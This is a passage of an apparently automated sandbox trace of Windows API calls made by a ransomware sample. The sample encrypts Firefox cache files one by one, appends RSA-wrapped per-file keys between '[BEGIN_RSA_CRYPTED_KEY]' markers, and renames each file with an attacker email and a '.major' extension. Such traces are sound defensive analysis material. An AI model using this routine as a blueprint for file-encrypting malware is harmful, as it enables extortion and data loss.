lpOverlapped=0x0) returned 1 [0263.156] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb1e [0263.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.156] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.157] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.157] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DlPF/JheqNkS+OWH2XQmcJ2zW+eYxJQqvVd5zXC74QeUWhtP88Xl7n1FVIQpo+/o\ni8FcrNXTYII1nj9Pye6+9PiU1VAfQFOwwrcmAv7nVi34Ks24iYqap4JmF0bQvs5a\nG1cLg4KjnhYVnCcZlQ12K4/KjVBpb3nRGwluCddIikRmQHipEOJK4WmbdEl0bKvc\ndY7EhBx9q3PLNuU9SOWtnYrNOWculvgyuk1gp2XhHJMl5PURp2ifZSrVjieTb8f2\n2PhTC4+vv5kF59FhOCAu1cXuVBewNsQxQ02ZOmBA9t15BKeqDVGH/2xrPY+5I4xZ\nijaxxScoiY/MhVBiJX90IA==\n", pcchString=0x2e3f9a8) returned 1 [0263.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.157] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.158] CloseHandle (hObject=0x1b84) returned 1 [0263.158] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7E9C60545DC531C765E8BEBC858D9C964D7BC7B6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7e9c60545dc531c765e8bebc858d9c964d7bc7b6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7E9C60545DC531C765E8BEBC858D9C964D7BC7B6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7e9c60545dc531c765e8bebc858d9c964d7bc7b6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.160] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.160] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7CF29C4B4F231BB4FBAA944FA47CA2874D0BAFE6", dwFileAttributes=0x80) returned 1 [0263.160] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0263.217] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1236, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.217] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d4, lpOverlapped=0x0) returned 1 [0263.218] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d4 [0263.218] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.218] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.218] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.218] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wwj3KHOLJV7ke9EwDfuu0KGk8Jum3Um4Hd9fK5OWW/8DK6rOKVzzm89vyFELiW0v\nFCfJuMenx5R5837EGyviMuv1+Mmm1VWNKS1WZdXpM98LvGeeGKcv09uumk34KfIp\ngESn+QpCUkTeClpkUV5THuWV++bl5BFDCKDg8DEqiXRUefJ4jeDwdCKEzf92uPx5\nivvjf6EupHmMqOgBQFG3h9P+TFtMfD4jBcFPTAHyW/UUYUDLhRt8VIw6SPEwXMQ3\nrOVb/XpjTVa5dp6tpMuezMOWVU3RfTFSYb1HOPjA+a+94ajdRpI9pNaeaj1GNf9O\nlUag730QURFN3oQuJ45iAQ==\n", pcchString=0x2e3f9a8) returned 1 [0263.219] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.219] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.219] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.219] CloseHandle (hObject=0x1b84) returned 1 [0263.219] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7CF29C4B4F231BB4FBAA944FA47CA2874D0BAFE6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7cf29c4b4f231bb4fbaa944fa47ca2874d0bafe6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7CF29C4B4F231BB4FBAA944FA47CA2874D0BAFE6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7cf29c4b4f231bb4fbaa944fa47ca2874d0bafe6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.221] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.221] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7BB41A949410BE7EF2685C65391E15BCAFDDF3AA", dwFileAttributes=0x80) returned 1 [0263.222] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0263.325] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.325] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e728*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e728*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0263.325] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef4 [0263.325] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.326] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.326] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.326] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.326] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.326] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="GSmkPumFkUsELN6V/jUw7z4Qm6hi5xyTeNlc409+nIfaMCz9Lxu5QcUP8veVvBWM\nIOzhrWfXijv0VtOc6PpuvIFU8O6vd7TwS1aS8jhhk55GPY/XIIGOT/qgjPYVmzu1\njJtnvzVSU/Cb4dPqXRAHooY8ETzz0AC/mgIQpc5w3dx7G3DBvVQ3hJlqKAT95rrL\nbLvqcFgYUdaxcDTzUPqumt7p9oohZSE5Hme4P5ZvSJ55orSH/oPlR5pcF2+t1Sxz\nPIIkKNzcPEtK11tUCsohfT8oa7YrJBdmi6VTrRbB2htXnc2GExHlFELZKAR9YCTk\nvdzKlwBTRfeN+FbZ6Gk+ow==\n", pcchString=0x2e3f9a8) returned 1 [0263.326] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.327] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.327] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.327] CloseHandle (hObject=0x1b84) returned 1 [0263.327] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7BB41A949410BE7EF2685C65391E15BCAFDDF3AA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7bb41a949410be7ef2685c65391e15bcafddf3aa"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7BB41A949410BE7EF2685C65391E15BCAFDDF3AA.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7bb41a949410be7ef2685c65391e15bcafddf3aa.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.329] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.329] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B702F73A8CFF65932F151A24DE06DABB5EAD075", dwFileAttributes=0x80) returned 1 [0263.329] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d0, lpOverlapped=0x0) returned 1 [0263.377] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.377] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d0, lpOverlapped=0x0) returned 1 [0263.377] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d0 [0263.377] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.377] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.378] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.378] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.378] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.378] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="bzSJx57I1sWlKJh/w7VsCCcxeXkhB0RPewJtWr5+wZLvkSxDg++0dNBbxdt70W60\neNN0/ipNNmVI7dPSmJ8wPyUOM4vGDsgtvUHFEJF9UnPpifQgw0sLKqRuSvID+utT\nh0XM3sI+k6fX8cCl9tvzplhthOMr1CNg2QxONn1CLHbvzDIzWTyhCgDvZoLoTh2S\nRxOgxHMEfpSVnR8xUVQUFZ0VVWEEVa9Irk2En8X9rS/696L4YsHS3Ta9UQDhy0MB\nWNFC1W5tYungJqZq7LRUtjGHGlUtfeZYVlSBAbn1sgnHh32h8Z+sinwJ6obAHOIK\nluiiliHiqotjKgZ/S60Udg==\n", pcchString=0x2e3f9a8) returned 1 [0263.378] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.379] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.379] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.379] CloseHandle (hObject=0x1b84) returned 1 [0263.380] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B702F73A8CFF65932F151A24DE06DABB5EAD075" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7b702f73a8cff65932f151a24de06dabb5ead075"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B702F73A8CFF65932F151A24DE06DABB5EAD075.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7b702f73a8cff65932f151a24de06dabb5ead075.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.382] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.382] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B4C45A10380E4D649C45CA3E4773E29C3AC7799", dwFileAttributes=0x80) returned 1 [0263.382] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x8a6e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x8a6e, lpOverlapped=0x0) returned 1 [0263.484] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-35438, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.484] WriteFile (in: hFile=0x1b84, lpBuffer=0x344eac0*, nNumberOfBytesToWrite=0x8a6e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344eac0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8a6e, lpOverlapped=0x0) returned 1 [0263.485] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8a6e [0263.485] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.485] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.486] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.486] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.486] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.486] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gI+PE21r+cXkDniRoxQGYfxrbNCkh9jbMqsmf90sGNi3HlHXE1u0TOV71RjJV8ju\ny4vB4DWCtZBsaWDIi6O+Vc4GovJQTtrzIRO1pmwh+5RvENxm2mQmoV0CtHWseVqJ\ndfQXWpOjwR+RUJQO3z8cYzTgaLp2SJ76O7+gU37qBqLLUpHjuw3FTxMdoHy71Bf0\nfCRHjaQ0SBZqw3VFqHZxDBnkcKZz7/4eCZBtPEQLxtiHXQcJwyekSL5aM06pG4s1\nkQTANJsf0HNYfl/+z0zAu39RYv3ZMacF75pbrS6Y0LgAhFzcUMCyYFDmWRAC0IyK\nepLgpUfxLOprzC8TDZFYjg==\n", pcchString=0x2e3f9a8) returned 1 [0263.486] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.487] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.487] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.487] CloseHandle (hObject=0x1b84) returned 1 [0263.487] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B4C45A10380E4D649C45CA3E4773E29C3AC7799" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7b4c45a10380e4d649c45ca3e4773e29c3ac7799"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B4C45A10380E4D649C45CA3E4773E29C3AC7799.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7b4c45a10380e4d649c45ca3e4773e29c3ac7799.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0263.490] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0263.490] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B303216787123E2E98A2B9594CDF8211C77C0EA", dwFileAttributes=0x80) returned 1 [0263.490] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x13fe, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x13fe, lpOverlapped=0x0) returned 1 [0263.675] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5118, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0263.676] WriteFile (in: hFile=0x1b84, lpBuffer=0x343ec30*, nNumberOfBytesToWrite=0x13fe, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343ec30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13fe, lpOverlapped=0x0) returned 1 [0263.676] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13fe [0263.676] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.676] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.677] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0263.677] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0263.677] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0263.677] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="BjfdZCkj1rQUaksII16RGemA9lafIZozt3wxQ64bJ7DQEhVHIdrWvCDS/UusDM51\n/L0PeI8gXqkjh5Rh/eNQkv6pVUmp9khH3QQdCT/D2vOfBub6lOxmC6arYvt5nteQ\nqQ6jzSPqpSQ6f4U8mqLqUBKdiWcd5s6d9YnbqzKQRbK3mDbkdRqu0Z2XVmu4lQmp\nyWwcBPb3GaqRZm9iyYhtPxxCP86ppjmqFqO7esVO6NdnpHjqtiI2nlXJwW+KGQPx\nammPc7OFoqZYeKKfIbYePCTA705xWwFhZ/CxeFy5hul4UeJdRjEDyvAa+4zIRQal\n7znnCxKbDDLa7hzjG/xkZg==\n", pcchString=0x2e3f9a8) returned 1 [0263.677] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0263.678] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0263.678] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0263.678] CloseHandle (hObject=0x1b84) returned 1 [0263.678] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B303216787123E2E98A2B9594CDF8211C77C0EA" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7b303216787123e2e98a2b9594cdf8211c77c0ea"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7B303216787123E2E98A2B9594CDF8211C77C0EA.1506877342345.bmps@tutanota.com.major" (normalized: 